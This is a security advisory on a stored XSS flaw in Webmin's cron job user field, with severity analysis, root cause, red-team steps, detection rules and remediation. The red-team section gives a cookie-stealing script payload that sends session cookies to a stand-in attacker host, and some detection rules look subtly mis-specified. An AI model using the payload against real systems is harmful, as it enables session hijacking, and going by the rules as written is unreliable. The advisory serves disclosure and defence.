CVE-2023-52046

Executive Summary

CVE-2023-52046 is a stored Cross-Site Scripting (XSS) vulnerability in Webmin versions 2.105 and earlier. An attacker with authenticated access to the Webmin interface can inject arbitrary JavaScript code via the "Execute cron job as" input field. This payload is stored and executed in the context of other administrators' browsers when they view the scheduled cron jobs, potentially leading to session hijacking, credential theft, or further lateral movement within the Webmin environment. The vulnerability has a CVSS score of 0.0 in the NVD, but this is likely a placeholder; the actual severity is high due to the stored XSS nature and the privileged context of Webmin administrators.

Supply Chain & Package Security

Webmin is a self-contained web-based system administration tool. It is not distributed via NPM, PyPI, Go, or Ruby registries. The vulnerability exists in the core application code, not in a third-party package dependency. However, administrators should verify the integrity of their Webmin installation by checking checksums provided by the official Webmin website.

CVSS Breakdown & Threat Level

The NVD has assigned a CVSS score of 0.0, which is likely an error or placeholder. Based on the vulnerability characteristics, a more accurate CVSS v3.1 vector would be:

• Attack Vector (AV): Network (N) – The vulnerability is exploitable over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – An attacker needs a valid Webmin account with permissions to create cron jobs.
• User Interaction (UI): Required (R) – The victim must view the cron job list page.
• Scope (S): Changed (C) – The vulnerability can impact resources beyond the vulnerable component (e.g., the victim's browser).
• Confidentiality (C): High (H) – An attacker could steal session cookies or other sensitive data.
• Integrity (I): High (H) – An attacker could modify Webmin settings or perform actions on behalf of the victim.
• Availability (A): Low (L) – The vulnerability is unlikely to cause a denial of service.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:L Estimated Base Score: 8.0 (High)

Deep Dive & Mechanics

The vulnerability resides in the cron job creation functionality of Webmin. When an administrator creates or edits a cron job, the "Execute cron job as" field is intended to specify the system user under which the command should run. However, the input is not properly sanitized or encoded before being stored and later rendered in the HTML page that lists scheduled cron jobs.

Attack Flow:

1. An attacker with a Webmin account (e.g., a low-privileged user) navigates to the cron job creation page.
2. In the "Execute cron job as" field, the attacker injects a malicious JavaScript payload, such as <script>alert('XSS')</script>.
3. The attacker saves the cron job. The payload is stored in the Webmin configuration database.
4. When another administrator (or the same attacker) views the cron job list, the stored payload is rendered in the HTML without proper encoding.
5. The victim's browser executes the JavaScript, which can perform actions like stealing session cookies, exfiltrating data, or performing actions on behalf of the victim.

Root Cause: The application fails to apply output encoding (e.g., HTML entity encoding) to user-controlled input when rendering it in the cron job list view. The input is likely stored as-is and echoed back into the HTML without sanitization.

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical comparison based on common XSS remediation patterns.

Vulnerable Code (Webmin 2.105 and earlier):

# In the cron job listing subroutine
print "<td>$cron_job->{'user'}</td>\n";

Patched Code (Hypothetical):

# In the cron job listing subroutine
use HTML::Entities;
print "<td>" . encode_entities($cron_job->{'user'}) . "</td>\n";

The patched version uses HTML::Entities::encode_entities() to convert special characters like <, >, ", ', and & into their HTML entity equivalents, preventing the browser from interpreting them as code.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A Webmin instance (version 2.105 or earlier) accessible over the network.
• Valid credentials for a Webmin user with permission to create cron jobs.

Exploitation Steps:

1. Log in to Webmin.
2. Navigate to System -> Scheduled Cron Jobs.
3. Click Create a new scheduled cron job.
4. In the Execute cron job as field, enter the following payload:

   <script>fetch('https://attacker-controlled-server.com/steal?cookie='+document.cookie)</script>
   

5. Fill in the remaining fields (e.g., command, schedule) with benign values.
6. Click Create.
7. Wait for another administrator to view the cron job list, or view it yourself to trigger the XSS.

Expected Outcome: The victim's browser sends a request to the attacker's server containing the victim's session cookie. The attacker can then use this cookie to impersonate the victim.

Blue Team

Detection Steps:

1. Monitor Webmin access logs for unusual patterns in the cron job creation endpoint (e.g., /cron/edit.cgi).
2. Look for POST requests containing <script> tags or other HTML/JavaScript in the user parameter.
3. Review cron job configurations for suspicious entries in the "Execute cron job as" field.
4. Use the YARA and Sigma rules provided in the Detection Engineering section to scan logs and files.

Mitigation Steps:

1. Restrict Webmin access to trusted IP addresses only.
2. Implement a Web Application Firewall (WAF) rule to block XSS payloads in the user parameter.
3. Educate administrators about the risks of viewing cron job lists from untrusted users.
4. Apply input validation to the "Execute cron job as" field, allowing only alphanumeric characters and a limited set of safe characters (e.g., -, _).

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP requests from the Webmin server to unknown external domains containing cookie data.
  • POST requests to /cron/edit.cgi with user parameter containing <script> tags.
• File IOCs:
  • Webmin configuration files (e.g., /etc/webmin/cron/config) containing JavaScript payloads in user fields.
• Log IOCs:
  • Webmin access logs showing requests to /cron/edit.cgi with suspicious user parameters.
  • Browser console errors or warnings related to cross-site scripting.

Detection Engineering

YARA Rule

rule CVE_2023_52046_Webmin_XSS {
    meta:
        description = "Detects stored XSS payloads in Webmin cron job user fields"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2023-52046"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/i
        $user_field = /user=/
    condition:
        $user_field and $xss_payload
}

Sigma Rule

title: Webmin Stored XSS in Cron Job User Field
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit CVE-2023-52046 by injecting XSS payloads into the cron job user field.
author: Valters IT
date: 2024/01/01
logsource:
    category: webserver
    product: webmin
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: '/cron/edit.cgi*'
        cs-uri-query|contains: 'user='
        cs-uri-query|re: '(<|>|script|onerror|onload)'
    condition: selection
falsepositives:
    - Legitimate use of special characters in usernames (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2023-52046 Webmin Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/cron/edit.cgi"; http_uri; content:"user="; http_client_body; pcre:"/(<|>|script|onerror|onload)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Webmin: Check the official Webmin website (https://www.webmin.com/) for a patched version. If available, upgrade immediately.
2. Restrict Access: Limit access to the Webmin interface to trusted IP addresses using firewall rules.
3. Disable Cron Job Creation: If patching is not possible, temporarily disable the ability for non-admin users to create cron jobs.

Long-Term Mitigations:

1. Input Validation: Implement strict input validation on the "Execute cron job as" field, allowing only alphanumeric characters and a limited set of safe characters.
2. Output Encoding: Ensure all user-controlled input is properly HTML-encoded before being rendered in the browser.
3. Web Application Firewall (WAF): Deploy a WAF with rules to detect and block XSS payloads.
4. Regular Security Audits: Conduct periodic security reviews of Webmin configurations and code.

Workaround:

• Manually edit the Webmin source code to add output encoding. Locate the file that renders the cron job list (likely /usr/libexec/webmin/cron/list.cgi or similar) and add HTML::Entities::encode_entities() to the user field output.

Valters IT